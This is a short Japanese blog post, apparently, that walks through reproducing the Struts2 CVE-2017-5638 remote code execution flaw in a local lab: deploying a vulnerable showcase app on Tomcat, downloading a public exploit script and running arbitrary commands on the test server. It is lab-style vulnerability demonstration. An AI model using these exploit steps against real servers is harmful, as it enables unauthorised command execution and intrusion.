struts2 新しい0day脆弱性を体験するために、手元のMac環境でテスト用のWebを作成してやってみました。確かに怖いセキュリティホールです!
tomcatをインストールして、テスト用Webをtomcatにデプロイ
# install tomcat
brew install tomcat
# confirm where the tomcat installed
ls -lF `which catalina`
# confirm tomcat home dir
ls -lF /usr/local/Cellar/tomcat/8.5.11/libexec
# create web app "struts2" in webapps of tomcat home
mkdir /usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2
# get web app deployment file
wget https://github.com/nixawk/labs/raw/master/CVE-2017-5638/struts2_2.3.15.1-showcase.war
# expand deployment file into the web app dir
brew install p7zip
7z x struts2_2.3.15.1-showcase.war -o/usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2
# confirm web app files
ls -lF /usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2
# run tomcat
catalina run
デプロイ後、http://localhost:8080/struts2で確認できます。
他のマシンから脆弱性テストツールを実行
# get exploit tool script
wget https://github.com/nixawk/labs/raw/master/CVE-2017-5638/exploit-urllib2.py
# run exploit tool script
# can create any payload file
python exploit-urllib2.py http://192.168.11.5:8080/struts2/ "echo any command can be run > /tmp/yyy"
もちろん、echoコマンドを他のコマンドに置き換えてもOK。 >/tmp/yyyはなしでもOK。
例えば
最初のマシンに戻って、payloadが作成されたことを確認できる
cat /tmp/yyy
テストのビデオもアップロードしました: https://youtu.be/iQ_f-eG-EXg